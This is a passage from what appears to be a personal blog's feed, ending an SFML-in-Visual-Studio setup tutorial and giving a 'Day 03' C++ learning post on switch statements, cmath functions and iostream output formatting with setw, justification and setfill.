sfml-window-d.lib
sfml-system-d.lib
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;6E7eigK.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;press ‘apply’&lt;&#x2F;p&gt;
&lt;p&gt;Next select release from the configuration drop down.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;pUjUPYR.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;In the Input section in Linker Category edit the Additional Dependencies.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;JpxXS9E.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The 3 lines that we previously entered (sfml-graphics-d.lib, sfml-window-d.lib, sfml-system-d.lib ) will be present in this window remove the &lt;code&gt;-d&lt;&#x2F;code&gt; part from the 3 lines so that it becomes,&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sfml-graphics.lib
sfml-window.lib
sfml-system.lib
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;6MM0Ovi.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Press Ok’.&lt;&#x2F;p&gt;
&lt;p&gt;Press ‘Apply’, ‘Ok’ and save the changes.&lt;&#x2F;p&gt;
&lt;p&gt;Navigate to the folder that you saved the &lt;code&gt;SFML-2.4.1&lt;&#x2F;code&gt; and go inside the &lt;code&gt;&#x2F;bin&#x2F;&lt;&#x2F;code&gt; directory and copy the 11 files in that directory.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;d4BBzFB.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Go the directory that you created you visual c++ win32 console application and navigate inside the project directory and paste the 11 files in that directory.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;Clb0mZ5.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;ENhwMbS.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;4Awdkpw.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Setting up SFML is done now let’s test it.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;testing&quot;&gt;Testing&lt;&#x2F;h2&gt;
&lt;p&gt;Go to the solution explorer. Under the source files category add a new .cpp file named anything I will name this as main.cpp.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;UIrsXvV.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;c73Yd5d.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Paste the following code in the .cpp file&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;SFML&amp;#x2F;Graphics.hpp&amp;gt;

int main()
{
	sf::RenderWindow window(sf::VideoMode(200, 200), &amp;quot;SFML works!&amp;quot;);
	sf::CircleShape shape(100.f);
	shape.setFillColor(sf::Color::Green);

	while (window.isOpen())
	{
		sf::Event event;
		while (window.pollEvent(event))
		{
			if (event.type == sf::Event::Closed)
				window.close();
		}

		window.clear();
		window.draw(shape);
		window.display();
	}

	return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;ObTnZTM.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Finally run the application&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;Ak9hzA2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;You will see a new screen with the following output.
&lt;img src=&quot;https:&#x2F;&#x2F;i.imgur.com&#x2F;gKwiGtJ.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
    </entry>
    <entry xml:lang="en">
        <title>Day 03: Teaching myself C++</title>
        <published>2024-05-08T00:00:00+00:00</published>
        <updated>2024-05-08T00:00:00+00:00</updated>
        <author>
          <name>Unknown</name>
        </author>
        <link rel="alternate" href="https://blog.vishalrashmika.com/blog/day-03-learning-cpp/" type="text/html"/>
        <id>https://blog.vishalrashmika.com/blog/day-03-learning-cpp/</id>
        <content type="html">&lt;h2 id=&quot;note&quot;&gt;NOTE:&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;I’m a self-taught programmer, who recently started a new adventure to learn C++ by reading a ton of other people’s code and language documentations. This method might not work for all the people. Beacause it requires a certain degree of experience in a low-level or a mid-level programming language like C in order to read and learn a language like C++ from other people’s code and language documentations. For me this was possible because, I had some experience using C which I learned for the course CS50x. First, I started with the scripts that Daniel Gakwaya, had released in his github repository &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rutura&#x2F;The-C-20-Masterclass-Source-Code&quot;&gt;The C 20 Masterclass source code&lt;&#x2F;a&gt;. I will compose this blog post to demonstrate the lessons I learnt on my third day of analyzing his scripts.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;1-switch-statements&quot;&gt;1. Switch Statements&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;string&amp;gt;


&amp;#x2F;&amp;#x2F; Tools
const int Pen{ 10 };
const int Marker{ 20 };
const int Eraser{ 30 };
const int Rectangle{ 40 };
const int Circle{ 50 };
const int Ellipse{ 60 };


int main(){

    int tool {Eraser};

    switch (tool)
    {
        case Pen : {
             std::cout &amp;lt;&amp;lt; &amp;quot;Active tool is Pen&amp;quot; &amp;lt;&amp;lt; std::endl;
        }
        break;

        case Marker : {
             std::cout &amp;lt;&amp;lt; &amp;quot;Active tool is Marker&amp;quot; &amp;lt;&amp;lt; std::endl;
        }
        break;


        case Eraser :
        case Rectangle : 
        case Circle : {
             std::cout &amp;lt;&amp;lt; &amp;quot;Drawing Shapes&amp;quot; &amp;lt;&amp;lt; std::endl;
        }
        break;

        case Ellipse : {
             std::cout &amp;lt;&amp;lt; &amp;quot;Active tool is Ellipse&amp;quot; &amp;lt;&amp;lt; std::endl;
        }
        break;
    
        default: {
            std::cout &amp;lt;&amp;lt; &amp;quot;No match found&amp;quot; &amp;lt;&amp;lt; std::endl;
        }
            break;
    }
   
    return 0;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;2-math-functions&quot;&gt;2. Math Functions&lt;&#x2F;h2&gt;
&lt;blockquote&gt;
&lt;p&gt;should include the &lt;code&gt;#include &amp;lt;cmath&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;2-1-ceil-floor&quot;&gt;2.1 Ceil() &amp;amp; floor()&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;std::cout &amp;lt;&amp;lt; &amp;quot;Weight rounded to floor is : &amp;quot; &amp;lt;&amp;lt; std::floor(7.7) &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F;7
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;std::cout &amp;lt;&amp;lt; &amp;quot;Weight rounded to ceil is : &amp;quot; &amp;lt;&amp;lt; std::ceil(7.7) &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F;8
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-2-abs&quot;&gt;2.2 abs()&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;returns the absolute value of an argument&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;std::cout &amp;lt;&amp;lt; &amp;quot;Abs of weight is : &amp;quot; &amp;lt;&amp;lt; std::abs(7.7) &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F;7.7
std::cout &amp;lt;&amp;lt; &amp;quot;Abs of savings is : &amp;quot; &amp;lt;&amp;lt; std::abs(-5000) &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F;5000
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-3-exp-exponential&quot;&gt;2.3 exp() (Exponential)&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;double exponential = std::exp(10);
std::cout &amp;lt;&amp;lt; &amp;quot;The exponential of 10 is : &amp;quot; &amp;lt;&amp;lt; exponential &amp;lt;&amp;lt; std::endl;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-4-pow-power&quot;&gt;2.4 pow() (Power)&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;std::cout &amp;lt;&amp;lt; &amp;quot;3 ^ 4 is : &amp;quot; &amp;lt;&amp;lt; std::pow(3,4) &amp;lt;&amp;lt; std::endl;
std::cout &amp;lt;&amp;lt; &amp;quot;9 ^ 3 is : &amp;quot; &amp;lt;&amp;lt; std::pow(9,3) &amp;lt;&amp;lt; std::endl;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-5-sqrt-square-root&quot;&gt;2.5 sqrt() (Square Root)&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;std::cout &amp;lt;&amp;lt; &amp;quot;The square root of 81 is : &amp;quot; &amp;lt;&amp;lt; std::sqrt(81) &amp;lt;&amp;lt; std::endl;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;2-6-round&quot;&gt;2.6 round()&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;std::cout &amp;lt;&amp;lt; &amp;quot;3.654 rounded to : &amp;quot; &amp;lt;&amp;lt; std::round(3.654) &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; 4
std::cout &amp;lt;&amp;lt; &amp;quot;2.5 is rounded to : &amp;quot; &amp;lt;&amp;lt; std::round(2.5) &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; 3
std::cout &amp;lt;&amp;lt; &amp;quot;2.4 is rounded to : &amp;quot; &amp;lt;&amp;lt; std::round(2.4) &amp;lt;&amp;lt; std::endl; &amp;#x2F;&amp;#x2F; 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;3-output-formatting&quot;&gt;3. Output Formatting&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;3-1-std-endl&quot;&gt;3.1 std::endl&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;std::endl : places a new line character on the output stream. This is identical to placing ‘\n’ on the output stream.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;std::cout &amp;lt;&amp;lt; &amp;quot;Hello World!&amp;quot; &amp;lt;&amp;lt; std::endl;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-2-std-flush&quot;&gt;3.2 std::flush&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;std::flush : flushes the output buffer to its final destination.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;    std::cout &amp;lt;&amp;lt; &amp;quot;This is a nice message....&amp;quot; &amp;lt;&amp;lt; std::endl &amp;lt;&amp;lt; std::flush;
    &amp;#x2F;&amp;#x2F;After this std::flush, we&amp;#x27;re sure that at this line, the message has been sent 
    &amp;#x2F;&amp;#x2F;to the stream. This may be important in some applications.
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-3-std-setw-set-width&quot;&gt;3.3 std::setw() (set width)&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;std::setw() : Adjusts the field with for the item about to be printed.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;The setw() manipulator only affects the next value to be printed.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;	&amp;#x2F;&amp;#x2F;unformatted table
    std::cout &amp;lt;&amp;lt; &amp;quot;Unformatted table : &amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;Daniel&amp;quot; &amp;lt;&amp;lt; &amp;quot; &amp;quot; &amp;lt;&amp;lt; &amp;quot;Gray&amp;quot; &amp;lt;&amp;lt; &amp;quot; 25&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;Stanley&amp;quot; &amp;lt;&amp;lt;&amp;quot; &amp;quot;  &amp;lt;&amp;lt; &amp;quot;Woods&amp;quot; &amp;lt;&amp;lt; &amp;quot; 33&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;Jordan&amp;quot; &amp;lt;&amp;lt; &amp;quot; &amp;quot;  &amp;lt;&amp;lt; &amp;quot;Parker&amp;quot; &amp;lt;&amp;lt; &amp;quot; 45&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;Joe&amp;quot; &amp;lt;&amp;lt; &amp;quot; &amp;quot; &amp;lt;&amp;lt; &amp;quot;Ball&amp;quot; &amp;lt;&amp;lt; &amp;quot; 21&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;Josh&amp;quot; &amp;lt;&amp;lt; &amp;quot; &amp;quot; &amp;lt;&amp;lt; &amp;quot;Carr&amp;quot; &amp;lt;&amp;lt; &amp;quot; 27&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;Izaiah&amp;quot; &amp;lt;&amp;lt; &amp;quot; &amp;quot; &amp;lt;&amp;lt; &amp;quot;Robinson&amp;quot; &amp;lt;&amp;lt; &amp;quot; 29&amp;quot; &amp;lt;&amp;lt; std::endl;

    &amp;#x2F;&amp;#x2F;formatted table
    int col_width{14};
    
    
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt;  &amp;quot;Lastname&amp;quot;  &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Firstname&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;Age&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Daniel&amp;quot;  &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Gray&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;25&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Stanley&amp;quot; &amp;lt;&amp;lt; std::setw(col_width)  &amp;lt;&amp;lt; &amp;quot;Woods&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt;  &amp;quot;33&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt;  &amp;quot;Jordan&amp;quot; &amp;lt;&amp;lt; std::setw(col_width)  &amp;lt;&amp;lt; &amp;quot;Parker&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;45&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt;  &amp;quot;Joe&amp;quot; &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Ball&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;21&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Josh&amp;quot; &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Carr&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt;&amp;quot;27&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Izaiah&amp;quot; &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Robinson&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;29&amp;quot; &amp;lt;&amp;lt; std::endl;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-4-justify&quot;&gt;3.4 justify&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Justify : Values can be justified in their fields. There are three manipulators for adjusting the justification: left, right, and internal. &lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;3-4-1-right-justified&quot;&gt;3.4.1 right justified&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt; col_width = 20;
    
    std::cout &amp;lt;&amp;lt; std::right;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt;  &amp;quot;Lastname&amp;quot;  &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Firstname&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;Age&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Daniel&amp;quot;  &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Gray&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;25&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Stanley&amp;quot; &amp;lt;&amp;lt; std::setw(col_width)  &amp;lt;&amp;lt; &amp;quot;Woods&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt;  &amp;quot;33&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt;  &amp;quot;Jordan&amp;quot; &amp;lt;&amp;lt; std::setw(col_width)  &amp;lt;&amp;lt; &amp;quot;Parker&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;45&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt;  &amp;quot;Joe&amp;quot; &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Ball&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;21&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Josh&amp;quot; &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Carr&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt;&amp;quot;27&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Izaiah&amp;quot; &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Robinson&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;29&amp;quot; &amp;lt;&amp;lt; std::endl;
    
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;3-4-2-left-justified&quot;&gt;3.4.2 left justified&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;    col_width = 20;
    
    std::cout &amp;lt;&amp;lt; std::left;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt;  &amp;quot;Lastname&amp;quot;  &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Firstname&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;Age&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Daniel&amp;quot;  &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Gray&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;25&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Stanley&amp;quot; &amp;lt;&amp;lt; std::setw(col_width)  &amp;lt;&amp;lt; &amp;quot;Woods&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt;  &amp;quot;33&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt;  &amp;quot;Jordan&amp;quot; &amp;lt;&amp;lt; std::setw(col_width)  &amp;lt;&amp;lt; &amp;quot;Parker&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;45&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt;  &amp;quot;Joe&amp;quot; &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Ball&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;21&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Josh&amp;quot; &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Carr&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt;&amp;quot;27&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Izaiah&amp;quot; &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Robinson&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;29&amp;quot; &amp;lt;&amp;lt; std::endl;
    
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;3-4-3-internal-justified&quot;&gt;3.4.3 internal justified&lt;&#x2F;h4&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;
    &amp;#x2F;&amp;#x2F;Internal justified : sign is left justified , data is right justified
    std::cout &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;Internal justified : &amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::right;
    std::cout &amp;lt;&amp;lt; std::setw(10) &amp;lt;&amp;lt; -123.45 &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::internal;
    std::cout &amp;lt;&amp;lt; std::setw(10) &amp;lt;&amp;lt; -123.45 &amp;lt;&amp;lt; std::endl;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;3-5-setfill&quot;&gt;3.5 setfill&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;std::cout &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; &amp;quot;Table with fill characters :  &amp;quot; &amp;lt;&amp;lt; std::endl;
    
    col_width = 20;
    
    std::cout &amp;lt;&amp;lt; std::left;
    std::cout &amp;lt;&amp;lt; std::setfill(&amp;#x27;*&amp;#x27;); &amp;#x2F;&amp;#x2F; The fill character
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt;  &amp;quot;Lastname&amp;quot;  &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Firstname&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;Age&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Daniel&amp;quot;  &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Gray&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;25&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Stanley&amp;quot; &amp;lt;&amp;lt; std::setw(col_width)  &amp;lt;&amp;lt; &amp;quot;Woods&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt;  &amp;quot;33&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt;  &amp;quot;Jordan&amp;quot; &amp;lt;&amp;lt; std::setw(col_width)  &amp;lt;&amp;lt; &amp;quot;Parker&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;45&amp;quot; &amp;lt;&amp;lt; std::endl;
    std::cout &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt;  &amp;quot;Joe&amp;quot; &amp;lt;&amp;lt; std::setw(col_width) &amp;lt;&amp;lt; &amp;quot;Ball&amp;quot; &amp;lt;&amp;lt; std::setw(col_width&amp;#x2F;2) &amp;lt;&amp;lt; &amp;quot;21&amp;quot; &amp;lt;&amp;lt; std::endl;
